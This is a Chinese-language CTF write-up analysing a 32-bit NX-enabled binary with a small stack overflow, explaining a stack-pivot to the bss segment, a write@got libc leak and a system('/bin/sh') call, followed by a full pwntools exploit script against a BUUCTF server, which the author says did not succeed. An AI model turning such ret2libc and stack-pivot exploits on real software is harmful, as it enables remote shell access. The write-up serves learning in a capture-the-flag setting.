# 1. 程序分析

32 位程序,开启 NX

源程序:

main:

c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vul_function();
  puts("GoodBye!");
  return 0;
}

vul_function:

c
ssize_t vul_function()
{
  size_t v0; // eax
  size_t v1; // eax
  char buf[24]; // [esp+0h] [ebp-18h] BYREF
  v0 = strlen(m1);
  write(1, m1, v0);
  read(0, &s, 0x200u);
  v1 = strlen(m2);
  write(1, m2, v1);
  return read(0, buf, 0x20u);
}


可以看到 write 是输出两句话,但是 read 可以进行溢出

没有后门函数,起初发现发现第一个 read 会写入到 bbs 段,我们构造 shellcode ,但是发现 bbs段 没有可执行权限(bbs 段在 0804A0E0 开始)

# 2. 漏洞分析

我们可以在 bbs 段写入大量数据,但是没有执行权限不能用 shellcode,第二个 read 只能溢出 8 个字节,这使我们可以覆盖 ebp 和 ret

这里我们就可以利用栈迁移,迁移到 bbs 处,不过我们还需要泄露 write_got 地址,使我们能得到 system_plt 地址,通过栈迁移来执行

利用方式:

  1. 利用第一个 read 读入伪造的栈低地址(fake_ebp), 然后写入 p64(write_plt)+p32(vuln)+p32(1)+p32(write_got)+p32(4) 来泄露 write 地址,并返回到该函数起始处(但是这时只是构造,还没有执行)
  2. 利用第二个 read 溢出覆盖 ebp 为 fake_esp 覆盖 ret 为 leave_ret (通过 rop 工具查找),此时便会去执行返回到 vuln 起始
  3. 利用获得的 write 地址来得到 libc 基址,从而得到 system 地址,通过第一个 read 写入 system 地址,和 /bin/sh 地址,在利用第二个 read 执行栈迁移来 getshell

# 3.exp:

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
#p=process('./spwn')
e=ELF('./spwn')
p=remote('node4.buuoj.cn',26979)
write_plt=e.plt["write"]
write_got=e.got["write"]
bbs_esp=0x0804A300
bbs_ebp=0x0804A4FF
leave_ret=0x08048408
vuln=0x804849B
main=0x8048513
p.recvuntil("name?")
payload1=p32(bbs_ebp)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
p.send(payload1)
p.recvuntil("say?")
payload2=b"a"*(0x18)+p32(bbs_esp)+p32(leave_ret)#+p32(leave_ret)
p.send(payload2)
write=u32(p.recv(4))
log.info("wiret="+hex(write))
libc=LibcSearcher("write",write)
libc_base=write-libc.dump("write")
system=libc_base+libc.dump("system")
binsh=libc_base+libc.dump("str_bin_sh")
p.recvuntil("name?")
payload1=p32(bbs_ebp)+p32(system)+p32(0)+p32(binsh)
p.send(payload1)
p.recvuntil("say?")
payload3=b"a"*(0x18)+p32(bbs_esp)+p32(leave_ret)
p.send(payload3)
p.interactive()

由于改题目用的是 Ubuntu16 版本,里面的 libc 已经停用了,利用 LibcSearcher 远程查找库也没有找到,所以未果